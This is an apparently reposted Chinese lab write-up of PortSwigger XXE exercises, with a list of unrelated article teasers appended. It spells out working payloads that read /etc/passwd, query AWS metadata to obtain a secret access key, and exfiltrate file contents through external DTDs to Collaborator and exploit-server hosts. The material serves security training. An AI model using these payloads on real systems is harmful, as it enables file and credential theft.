burp靶场——XXE注入

XML 外部实体 (XXE) 注入

1. 什么是xxe漏洞:

https://portswigger.net/web-security/xxe#what-is-xml-external-entity-injection
XML 外部实体注入(也称为 XXE)是一种 Web 安全漏洞,允许攻击者干扰应用程序对 XML 数据的处理。它通常允许攻击者查看应用程序服务器文件系统上的文件,并与应用程序本身可以访问的任何后端或外部系统进行交互。在某些情况下,攻击者可以利用 XXE 漏洞执行服务器端请求伪造(SSRF) 攻击,升级 XXE 攻击以危害底层服务器或其他后端基础设施。

实验1:xxe读取文件:

Lab: Exploiting XXE using external entities to retrieve files
进入靶场,点击功能,进入burp代理历史查看流量包:
在这里插入图片描述
数据包发送到repeater:
测试xxe漏洞:

访问产品页面,单击“检查库存”,然后在 Burp Suite 中拦截生成的 POST 请求。
在 XML 声明和元素之间插入以下外部实体定义stockCheck:<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
将数字替换productId为对外部实体的引用:&xxe; 响应应包含“Invalid product ID”,后跟文件内容/etc/passwd。

在这里插入图片描述

实验2:利用xxe造成ssrf:

Lab: Exploiting XXE to perform SSRF attacks

访问产品页面,单击“检查库存”,然后在 Burp Suite 中拦截生成的 POST 请求。
在 XML 声明和元素之间插入以下外部实体定义stockCheck:<!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://169.254.169.254/"> ]>
将数字替换productId为对外部实体的引用:&xxe;。响应应包含“无效的产品 ID:”,后跟来自元数据端点的响应,该响应最初是文件夹名称。
迭代更新 DTD 中的 URL 以探索 API,直到到达/latest/meta-data/iam/security-credentials/admin。这应该返回包含SecretAccessKey.

在这里插入图片描述

在这里插入图片描述
逐步添加169.254.169.254主机泄露的web目录到xml文档,最终发现泄露了aws云的SecretAccessKey,可以用相关工具
访问云服务:
在这里插入图片描述

实验3:带外交互的XXE盲注:

访问产品页面,单击“检查库存”并在Burp Suite Professional中拦截生成的 POST 请求。
在 XML 声明和元素之间插入以下外部实体定义stockCheck。右键单击并选择“插入 Collaborator 负载”以在指示的位置插入 Burp Collaborator 子域:<!DOCTYPE stockCheck [ <!ENTITY xxe SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN"> ]>
实际:burp collaborator生成:if1tvfuvgii5ksgx9f9wr7t43v9mxdl2.oastify.com
<!DOCTYPE stockCheck [ <!ENTITY xxe SYSTEM "http://if1tvfuvgii5ksgx9f9wr7t43v9mxdl2.oastify.com"> ]>将数字替换productId为对外部实体的引用:&xxe;
转到“collaborator”选项卡,然后单击“Poll now”。如果您没有看到列出的任何交互,请等待几秒钟,然后重试。您应该会看到应用程序根据负载结果发起的一些 DNS 和 HTTP 交互。

进入靶场,查看到检查库存功能,有提交xml请求的流量:
在这里插入图片描述
修改数据包,重放:
在这里插入图片描述
在这里插入图片描述

实验4:通过 XML 参数实体进行带外交互的XXE盲注:

访问产品页面,单击“检查库存”并在Burp Suite Professional中拦截生成的 POST 请求。
在 XML 声明和元素之间插入以下外部实体定义stockCheck。右键单击并选择“插入 Collaborator 负载”以在指示的位置插入 Burp Collaborator 子域:<!DOCTYPE stockCheck [<!ENTITY % xxe SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN"> %xxe; ]>
## Collaborator生成子域名:% xxe表示xml参数实体
<!DOCTYPE stockCheck [<!ENTITY % xxe SYSTEM "http://lshw8i7ytlv8xvt0mimz4a67gympaiy7.oastify.com"> %xxe; ]>
转到“Collaborator”选项卡,然后单击“Poll now”。如果您没有看到列出的任何交互,请等待几秒钟,然后重试。您应该会看到应用程序根据负载结果发起的一些 DNS 和 HTTP 交互。

将数据包发送到重放器:
在这里插入图片描述

修改xml数据:
在这里插入图片描述
在这里插入图片描述

实验5:利用恶意外部 DTD 进行 XXE盲注窃取数据

使用Burp Suite Professional,转到“协作者”选项卡。
单击“复制到剪贴板”将唯一的 Burp Collaborator 负载复制到剪贴板。
将 Burp Collaborator 负载放入恶意 DTD 文件中:<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://BURP-COLLABORATOR-SUBDOMAIN/?x=%file;'>">
%eval;
%exfil;#### 制作恶意的外部dtd文档:
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://pf80vmu2gpickzg49m93retb329txold.oastify.com/?x=%file;'>">
%eval;
%exfil;
单击“转到漏洞利用服务器”并将恶意 DTD 文件保存在您的服务器上。单击“查看漏洞”并记下 URL。
URL: https://exploit-0a77006b049645408600598501f100f3.exploit-server.net/exploit
您需要通过添加引用恶意 DTD 的参数实体来利用股票检查器功能。首先,访问产品页面,单击“检查库存”,然后在 Burp Suite 中拦截生成的 POST 请求。
在 XML 声明和元素之间插入以下外部实体定义stockCheck:<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "YOUR-DTD-URL"> %xxe;]>
## 将恶意的dtd url路径插入:URL: https://exploit-0a77006b049645408600598501f100f3.exploit-server.net/exploit
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://exploit-0a77006b049645408600598501f100f3.exploit-server.net/exploit"> %xxe;]>返回“Collaborator ”选项卡,然后单击“Poll now”。如果您没有看到列出的任何交互,请等待几秒钟,然后重试。
您应该会看到应用程序根据负载结果发起的一些 DNS 和 HTTP 交互。HTTP 交互可以包含文件的内容/etc/hostname。

进入靶场,抓取查看库存功能,burp抓包:
在这里插入图片描述
将制作的恶意dtd文档托管到自己可控的web服务器上:
在这里插入图片描述
在这里插入图片描述
URL: https://exploit-0a77006b049645408600598501f100f3.exploit-server.net/exploit
在这里插入图片描述
在这里插入图片描述

实验6:利用盲目 XXE 通过错误消息检索数据

单击“转到漏洞利用服务器”并将以下恶意 DTD 文件保存在您的服务器上:<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'file:///invalid/%file;'>">
%eval;
%exfil;
/etc/passwd导入时,此页面将读取实体 的内容file,然后尝试在文件路径中使用该实体。单击“查看漏洞”并记下恶意 DTD 的 URL。
您需要通过添加引用恶意 DTD 的参数实体来利用股票检查器功能。首先,访问产品页面,单击“检查库存”,然后在 Burp Suite 中拦截生成的 POST 请求。
在 XML 声明和元素之间插入以下外部实体定义stockCheck:<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "YOUR-DTD-URL"> %xxe;]>
##
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://exploit-0aa1003e03754688803d84d101520013.exploit-server.net/exploit"> %xxe;]>
https://exploit-0aa1003e03754688803d84d101520013.exploit-server.net/exploit
您应该看到一条包含文件内容的错误消息/etc/passwd。

在这里插入图片描述
将恶意的dtd文件托管到自己控制的web服务器中:记录恶意dtd的url值:
https://exploit-0aa1003e03754688803d84d101520013.exploit-server.net/exploit
在这里插入图片描述
在这里插入图片描述

实验7:利用 XInclude 检索文件:

一些应用程序接收客户端提交的数据,将其在服务器端嵌入到 XML 文档中,然后解析该文档。当客户端提交的数据被放入后端 SOAP 请求中,然后由后端 SOAP 服务处理时,就会发生这种情况。在这种情况下,您无法执行经典的 XXE 攻击,因为您无法控制整个 XML 文档,因此无法定义或修改元素DOCTYPE。但是,您也许可以使用XInclude它。XInclude是 XML 规范的一部分,允许从子文档构建 XML 文档。您可以XInclude在 XML 文档中的任何数据值中进行攻击,因此可以在您仅控制放入服务器端 XML 文档中的单个数据项的情况下执行攻击。要执行XInclude攻击,您需要引用XInclude命名空间并提供您希望包含的文件的路径。例如:<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>### 操作:
访问产品页面,单击“检查库存”,然后在 Burp Suite 中拦截生成的 POST 请求。
将参数值设置productId为:<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>

在这里插入图片描述
在这里插入图片描述

实验8:通过图像文件上传利用 XXE

### 原理:
某些应用程序允许用户上传文件,然后在服务器端进行处理。一些常见的文件格式使用 XML 或包含 XML 子组件。基于 XML 的格式的示例包括 DOCX 等办公文档格式和 SVG 等图像格式。例如,应用程序可能允许用户上传图像,并在上传后在服务器上处理或验证这些图像。即使应用程序期望接收 PNG 或 JPEG 等格式,正在使用的图像处理库也可能支持 SVG 图像。由于SVG格式使用XML,攻击者可以提交恶意SVG图像,从而达到XXE漏洞的隐藏攻击面。### 操作:
创建包含以下内容的本地 SVG 图像:<?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg>
在博客文章上发表评论,并上传此图像作为头像。
/etc/hostname当您查看评论时,头像svg被解析,xml中代码执行,读取了hostname,您应该会在图像中 看到文件的内容。使用“提交解决方案”按钮提交服务器主机名的值。

创建1.svg文件:
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
查看图片,图片已经显示了主机名:
在这里插入图片描述

实验9:利用 XXE 通过重新利用本地 DTD 来检索数据

访问产品页面,单击“检查库存”,然后在 Burp Suite 中拦截生成的 POST 请求。
在 XML 声明和元素之间插入以下参数实体定义stockCheck:<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>
这将导入 Yelp DTD,然后重新定义ISOamso实体,触发包含文件内容的错误消息/etc/passwd。

在这里插入图片描述
在这里插入图片描述

通过修改内容类型进行 XXE 攻击

大多数 POST 请求使用由 HTML 表单生成的默认内容类型,例如application/x-www-form-urlencoded. 某些网站期望接收这种格式的请求,但也会容忍其他内容类型,包括 XML。

例如,如果一个普通请求包含以下内容:

POST /action HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 7

foo=bar
然后您可以提交以下请求,得到相同的结果:

POST /action HTTP/1.0
Content-Type: text/xml
Content-Length: 52

<?xml version="1.0" encoding="UTF-8"?>bar

如果应用程序容忍消息正文中包含 XML 的请求,并将正文内容解析为 XML,那么您只需将请求重新格式化为使用 XML 格式即可到达隐藏的 XXE 攻击面。

参考:


https://mp.weixin.qq.com/s/a_AlnsHdyavDriFbnTsyRw
## paylaodallthings:
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20Injection### owasp:
https://owasp.org/www-project-web-security-testing-guide/v42/### owasp xml注入:
https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/07-Testing_for_XML_Injection

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/627943.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

GEE:机器学习分类中每个类别的概率图像可视化

作者:CSDN @ _养乐多_ 在 Google Earth Engine(GEE) 中应用机器学习分类器进行多分类时,有一个需求是想知道每个像素对于每个类别的分类概率。 比如在进行随机森林分类时,每个决策树会生成一个类别,通过投票选择票数最多的类别作为最终分类。除了最终分类结果,其他类别…

Pandas.DataFrame.groupby() 数据分组(数据透视、分类汇总) 详解 含代码 含测试数据集 随Pandas版本持续更新

关于Pandas版本&#xff1a; 本文基于 pandas2.1.2 编写。 关于本文内容更新&#xff1a; 随着pandas的stable版本更迭&#xff0c;本文持续更新&#xff0c;不断完善补充。 Pandas稳定版更新及变动内容整合专题&#xff1a; Pandas稳定版更新及变动迭持续更新。 Pandas API参…

计算机组成原理 运输层

文章目录 运输层运输层协议概述进程之间的通信运输层的两个主要协议运输层的端口 用户数据报协议 UDPUDP 概述UDP 的首部格式 传输控制协议 TCP 概述TCP 最主要的特点TCP 的连接 可靠传输的工作原理停止等待协议连续 ARQ协议 TCP 报文段的首部格式TCP 可靠传输的实现以字节为单…

TensorRT模型优化部署 (八)--模型剪枝Pruning

系列文章目录 第一章 TensorRT优化部署&#xff08;一&#xff09;–TensorRT和ONNX基础 第二章 TensorRT优化部署&#xff08;二&#xff09;–剖析ONNX架构 第三章 TensorRT优化部署&#xff08;三&#xff09;–ONNX注册算子 第四章 TensorRT模型优化部署&#xff08;四&am…

Go-安装与基础语法

TOC 1. Go 安装与环境变量 1.1 下载 需要从Go语言的官方网站下载适合你操作系统的Go语言安装包。Go语言支持多种操作系统&#xff0c;包括Windows、Linux和Mac OS。 对于Windows用户&#xff0c;下载.msi文件&#xff0c;然后双击该文件&#xff0c;按照提示进行安装即可。…

python的装饰器详解

目录 一&#xff1a;介绍 二&#xff1a;在方法中使用 三&#xff1a;在类中使用 四&#xff1a;python自带的装饰器 一&#xff1a;介绍 Python的装饰器是一种高阶函数&#xff0c;它允许你在不改变函数内部逻辑的情况下&#xff0c;给函数添加额外的功能。装饰器本质上是…

【C++进阶】心心念念的红黑树,它来了!

&#x1f466;个人主页&#xff1a;Weraphael ✍&#x1f3fb;作者简介&#xff1a;目前学习C和算法 ✈️专栏&#xff1a;C航路 &#x1f40b; 希望大家多多支持&#xff0c;咱一起进步&#xff01;&#x1f601; 如果文章对你有帮助的话 欢迎 评论&#x1f4ac; 点赞&#x1…

Spring框架是如何解决Bean创建过程中的循环依赖问题的

引言 本文主要梳理了Spring框架Bean创建过程中应对循环依赖问题的相关源码。我在手写super-mini-webpackhttps://blog.csdn.net/q1424966670/article/details/135628531?spm1001.2014.3001.5502的时候也介绍过解决循环依赖的算法&#xff1a;Map记忆化搜索。可以猜测这段源码…

ACL【新华三与华为的区别】

【解释】acl简单点解释就是&#xff0c;一套根据需求而设置的规则 【背景】 192.168.1.0/24 网段不允许访问 192.168.2.0/24 网段&#xff0c;要求使用基本 ACL 实现20_1 可以访问 20_6 的 TELNET 服务&#xff0c;但不能访问 FTP 服务 【操作步骤】 {易混点 }&#xff1a;1. …

机器学习周刊第六期:哈佛大学机器学习课、Chatbot Ul 2.0 、LangChain v0.1.0、Mixtral 8x7B

— date: 2024/01/08 — 吴恩达和Langchain合作开发了JavaScript 生成式 AI 短期课程&#xff1a;《使用 LangChain.js 构建 LLM 应用程序》 大家好&#xff0c;欢迎收看第六期机器学习周刊 本期介绍10个内容&#xff0c;涉及Python、机器学习、大模型等,目录如下&#xff…

Miracast手机高清投屏到电视(免费)

版权声明 本文原创作者&#xff1a;谷哥的小弟作者博客地址&#xff1a;http://blog.csdn.net/lfdfhl Miracast概述 Miracast是一种无线显示标准&#xff0c;它允许支持Miracast的设备之间通过Wi-Fi直接共享音频和视频内容&#xff0c;实现屏幕镜像或扩展显示。这意味着你可以…

C++常用类

1、QString 字符串类 QString 是Qt的字符串类&#xff0c;与C的std::string相比&#xff0c;不再使用ASCII编码。QString使用的Unicode编码。 QString 完全支持中文&#xff0c; 但是由于不同的技术可能会采用不同的编码。有时候也会遇到中文编码的一致性问题。 如果后续的学习…

PointMixer: MLP-Mixer for Point Cloud Understanding

Abstract MLP-Mixer 最近崭露头角,成为对抗CNNs和Transformer领域的新挑战者。尽管相比Transformer更为简单,但通道混合MLPs和令牌混合MLPs的概念在图像识别任务中取得了显著的性能。与图像不同,点云本质上是稀疏、无序和不规则的,这限制了直接将MLP-Mixer用于点云理解。为…

i18n多国语言Internationalization的实现

i18n 是"Internationalization”的缩写&#xff0c;这个术语来源于英文单词中首尾字母“”和“n”以及中间的字符数(共计18个字符) 当我们需要开发不同语言版本时&#xff0c;就可以使用i18n多国语言的一个操作处理&#xff0c;i18n主要实现那一方面的内容呢&#xff1f;…

项目压测优化实践思路

&#x1f44f;作者简介&#xff1a;大家好&#xff0c;我是爱吃芝士的土豆倪&#xff0c;24届校招生Java选手&#xff0c;很高兴认识大家&#x1f4d5;系列专栏&#xff1a;Spring原理、JUC原理、Kafka原理、分布式技术原理、数据库技术&#x1f525;如果感觉博主的文章还不错的…

日本樱岛火山喷发遥感卫星影像监测

日本樱岛火山喷发监测 当地时间2024年1月9日15时许&#xff0c;位于日本九州地区鹿儿岛县的樱岛南岳山顶火山口&#xff0c;开始喷发&#xff0c;火山烟雾从火山口上升至空中1200米左右。目前&#xff0c;日本气象厅将樱岛的火山警戒级别维持在3级&#xff0c;限制民众入山。 火…

HCS私有云简介

1、HCS简介和发展史 华为云产品&#xff1a;私有云和公有云&#xff0c;现在的私有云已经和公有云越来越像了FusionSphere是华为的一个品牌2016年&#xff0c;在5.0版本的时候&#xff0c;华为Openstack叫FusionSphere Openstack 5.0&#xff0c;底层用的是suse操作系统&#…

BitLocker 驱动器加密

BitLocker 简介 BitLocker 驱动器加密是一项由微软开发并集成在Windows操作系统中的数据保护功能&#xff0c;其主要作用是通过加密存储在硬盘驱动器上的数据来增强信息安全。具体来说&#xff1a; 数据安全&#xff1a;BitLocker可以对整个操作系统卷&#xff08;包括系统分区…

开源图床Lychee本地如何部署并结合内网穿透工具实现远程访问

文章目录 1.前言2. Lychee网站搭建2.1. Lychee下载和安装2.2 Lychee网页测试2.3 cpolar的安装和注册 3.本地网页发布3.1 Cpolar云端设置3.2 Cpolar本地设置 4.公网访问测试5.结语 1.前言 图床作为图片集中存放的服务网站&#xff0c;可以看做是云存储的一部分&#xff0c;既可…

酒店订房小程序源码系统:帮您打造类似美团的酒店模式的小程序 带完整的安装部署教程

随着移动互联网的快速发展&#xff0c;小程序已经成为一种新型的应用形态&#xff0c;为各大行业提供了更加便捷的服务。其中&#xff0c;酒店预订小程序作为一种方便快捷的预订方式&#xff0c;备受用户青睐。小编给大家分享一款酒店订房小程序源码系统&#xff0c;旨在帮助您…